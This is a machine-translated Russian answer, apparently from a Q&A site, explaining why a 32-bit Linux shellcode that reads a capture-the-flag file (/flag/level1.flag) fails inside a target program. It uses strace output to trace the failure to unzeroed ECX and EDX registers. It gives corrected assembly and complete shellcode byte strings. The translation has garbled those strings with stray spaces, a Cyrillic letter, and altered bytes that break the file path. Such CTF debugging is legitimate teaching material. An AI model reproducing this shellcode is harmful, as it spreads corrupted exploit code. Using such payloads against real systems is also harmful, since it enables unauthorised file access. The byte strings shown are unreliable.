TL; DR : Никогда не принимайте состояние регистров при запуске в качестве эксплойта в целевом исполняемом файле.Если вам нужен нулевой регистр целиком, вы должны сделать это самостоятельно.Работа автономной и работающей программы может вести себя по-разному в зависимости от того, что находится в регистрах, когда эксплойт начинает выполняться.
Если вы правильно соберете свой код C , убедившись, что стекявляется исполняемым файлом, и вы создаете 32-битный эксплойт и запускаете его в 32-битном исполняемом файле (как вы это сделали), основная причина, по которой вещи могут потерпеть неудачу, если не является автономной, заключается в том, что вы неправильно обнулили регистры должным образом.В качестве автономной программы многие из регистров могут иметь значение 0 или иметь 0 в старших 24-битах, если они находятся внутри работающей программы, что может быть не так.Это может привести к тому, что ваши системные вызовы будут вести себя по-разному.
Одним из лучших инструментов для отладки шелл-кода является отладчик, такой как GDB.Вы можете пройти через свой эксплойт и просмотреть состояние регистра до ваших системных вызовов (int 0x80
).Более простой подход в этом случае - инструмент STRACE (системная трассировка).Он покажет вам все системные вызовы и параметры, которые выдает программа.
Если вы запускаете strace ./test >output
в своей автономной программе, где /flag/level1.flag
содержит:
test
Возможно, вы увидите вывод STRACE, похожий на следующий:
execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY) = 3
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "e", 1) = 1
write(1, "e", 1) = 1
read(3, "s", 1) = 1
write(1, "s", 1) = 1
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "\n", 1) = 1
write(1, "\n", 1
) = 1
read(3, "", 1) = 0
exit(0) = ?
+++ exited with 0 +++
Я перенаправил стандартный вывод в файл output
, чтобы он не загромождал вывод STRACE.Вы можете видеть, что файл /flag/level1.flag
был открыт как O_RDONLY и дескриптор файла 3 был возвращен.Затем вы читаете 1 байт за раз и записываете его в стандартный вывод (дескриптор файла 1).Файл output
содержит данные, которые находятся в /flag/level1.flag
.
Теперь запустите STRACE в своей программе шелл-кода и изучите разницу.Игнорируйте все системные вызовы до чтения файла флага, так как это системные вызовы программы shellcode
, выполненные прямо и косвенно до того, как она попадет в ваш эксплойт.Вывод может выглядеть не совсем так, но он, вероятно, похож.
open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425) = -1 EBADF (Bad file descriptor)
write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425) = -1 EBADF (Bad file descriptor)
write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
[snip]
Вы должны заметить, что открытие не удалось с -1 EINVAL (Invalid argument)
, и если вы наблюдаете флаги, пропущенные, чтобы открыть тамнамного больше, чем O_RDONLY .Это говорит о том, что второй параметр в ECX , вероятно, не был должным образом обнулен.Если вы посмотрите на свой код, вы получите следующее:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
mov al, 0x5 ; open()
int 0x80
Вы не установите ECX на что-либо.При работе в реальной программе ECX отличен от нуля.Измените код следующим образом:
pop ebx ; ebx -> ["/flag/level1.flag"]
xor eax, eax
xor ecx, ecx
mov al, 0x5 ; open()
int 0x80
Теперь сгенерируйте строку шелл-кода с этим исправлением, и она, вероятно, будет выглядеть примерно так:
\ xeb \ x32 \ x5b \ x31 \ xc0 \x31 \ xc9 \ XB0 \ x05 \ XCD \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ XB0 \ x01 \ x31 \ XDB \ XCD \ x80 \ x31 \ xc0 \ XB0 \ x03 \ x89 \ xf3 \ x89 \xe1 \ XB2 \ x01 \ XCD \ x80 \ x31 \ XDB \ x39 \ xd8 \ x74 \ XE6 \ x31 \ xc0 \ XB0 \ x04 \ xb3 \ x01 \ XCD \ x80 \ x44 \ xeb \ XE3 \ X Е8 \ xc9 \ XFF \xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x76 \ x65 \ x6c \ x31 \ x2e \ x66 \ x6c \ x61 \ x67
Запустить эту строку оболочкив вашей программе shellcode
снова используйте STRACE, и результат может выглядеть примерно так:
open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809) = 5
write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
377\0\0\0\0"..., 4286583809) = 4096
Это лучше, но проблема все еще существует.Число байтов для чтения (третий параметр) - 4286583809 (ваше значение может быть другим).Предполагается, что ваш автономный код читает по 1 байту за раз.Это указывает на то, что, вероятно, старшие 24 бита EDX не были обнулены должным образом.Если вы просматриваете код, который вы делаете:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
mov dl, 0x1 ; read 1 byte
int 0x80
Ни в одном пункте этого раздела кода (или до него) вы не обнуляете EDX перед тем, как поместить 1 в DL .Вы можете сделать это с помощью:
read:
xor eax, eax
mov al, 0x3 ; read()
mov ebx, esi ; file handle to flag
mov ecx, esp ; read into stack
xor edx, edx ; Zero all of EDX
mov dl, 0x1 ; read 1 byte
int 0x80
Теперь сгенерируйте строку шелл-кода с этим исправлением, и это, вероятно, выглядит примерно так:
\ xeb \ x34 \ x5b \ x31 \ xc0 \x31 \ xc9 \ XB0 \ x05 \ XCD \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ XB0 \ x01 \ x31 \ XDB \ XCD \ x80 \ x31 \ xc0 \ XB0 \ x03 \ x89 \ xf3 \ x89 \xe1 \ x31 \ XD2 \ XB2 \ x01 \ XCD \ x80 \ x31 \ XDB \ x39 \ xd8 \ x74 \ xe4 \ x31 \ xc0 \ XB0 \ x04 \ xb3 \ x01 \ XCD \ x80 \ x44 \ xeb \ xe1 \ X Е8 \xc7 \ xff \ xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x65 \ x65 \ x6c \ x31 \ x2e \ x66 \ x6c \ x61 \ x67
Запустите эту строку оболочки в вашей программе shellcode
, используя STRACE снова, и результат может выглядеть примерно так:
open("/flag/level1.flag", O_RDONLY) = 3
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "e", 1) = 1
write(1, "e", 1) = 1
read(3, "s", 1) = 1
write(1, "s", 1) = 1
read(3, "t", 1) = 1
write(1, "t", 1) = 1
read(3, "\n", 1) = 1
write(1, "\n", 1) = 1
read(3, "", 1) = 0
Это приводит к желаемому поведению.Просматривая остальную часть кода сборки, не кажется, что эта ошибка была допущена ни в одном из других регистров и системных вызовов.Использование GDB показало бы вам аналогичную информацию о состоянии регистров перед каждым системным вызовом.Вы бы обнаружили, что регистры не всегда имеют ожидаемые значения.